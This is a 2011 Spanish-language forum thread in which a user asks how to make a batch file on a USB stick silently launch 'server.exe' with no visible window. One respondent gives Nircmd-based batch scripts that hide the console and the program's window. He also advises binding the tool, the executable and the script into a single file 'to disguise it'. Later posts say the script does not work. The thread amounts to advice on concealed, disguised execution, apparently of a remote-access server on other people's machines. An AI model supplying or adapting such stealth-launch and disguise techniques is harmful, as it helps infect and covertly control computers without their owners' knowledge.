Crear Batch

Iniciado por adsla, 4 Noviembre 2011, 12:45 PM

0 Miembros y 1 Visitante están viendo este tema.

adsla

Hola! la cuestiòn es q quiero hacer un archivo batch para meterlo en un pendrive y q éste, abra una carpeta junto  con un  exe sin q aparezca ninguan ventana, de forma silienciosa...seria buena opcion las siguientes???
START /D Carpeta\server.exe o

@echo off
cd carpeta
start server.exe..........Gracias y spero vuertras respuestas. Un saludo  a todossss

roilivethelife

no estoy seguro si el codigo está bien, pero si es correcto solo tienes que pasarlo a exe con un programa llamado "bat2exe". Con este programa puedes ejecutarlo sin que te aparezca la ventana negra.

Eleкtro

#2
NO SE PUEDE CON BATCH

no puedes evitar la ventana de la consola, ni la del server (Si es que diera error), a menos que te ayudes de otros programas como te han dicho... o un simple VBS, o Nircmd, o ExeScript, en fin hay muchas utilidades...

Pero además de eso, hay otra complicación, dependiendo de si la PC es windows XP o WINDOWS 7, el comando START actua de forma distinta, y las comillas dobles se usan en windows 7 de una manera distinta a windows xp, sino dará error, así que te hago 2 versiones:


http://www.nirsoft.net/utils/nircmd.zip


Código (dos) [Seleccionar]
@echo off
:Windows 7
Title hide me
Nircmd win hide ititle "hide me"
Start /B .\"carpeta\server.exe"
Nircmd win hide "server.exe"
exit





Código (dos) [Seleccionar]
@echo off
:Windows XP
Title hide me
Nircmd win hide ititle "hide me"
Start /B ".\carpeta\server.exe"
Nircmd win hide "server.exe"
exit



PD: Por si no ha quedado claro, te dejo otro ejemplo:
    Windows XP:    Start /B "C:\program files (x86)\electro\hacker.exe"
    Windows7:       Start /B C:\program" files (x86)\electro\hacker.exe"

PD2: Puedes bindear Nircmd + server.exe + Tu.bat en un único archivo para disimularlo.

Saludos.
Elektro hacker.








adsla

pues he probado el codigo para xp en una virtual y no funciona

Eleкtro

Cita de: adsla en  4 Noviembre 2011, 23:06 PM
pues he probado el codigo para xp en una virtual y no funciona

http://www.nirsoft.net/utils/nircmd.zip

necesitas eso.

saludos.








adsla

si lo he probado....he copiado nircmd y el server dentro de la carpeta y al lado el bat.  lo ejecuto pero no se copia el server ni se abre la carpeta, ademas m sale una ventana negra....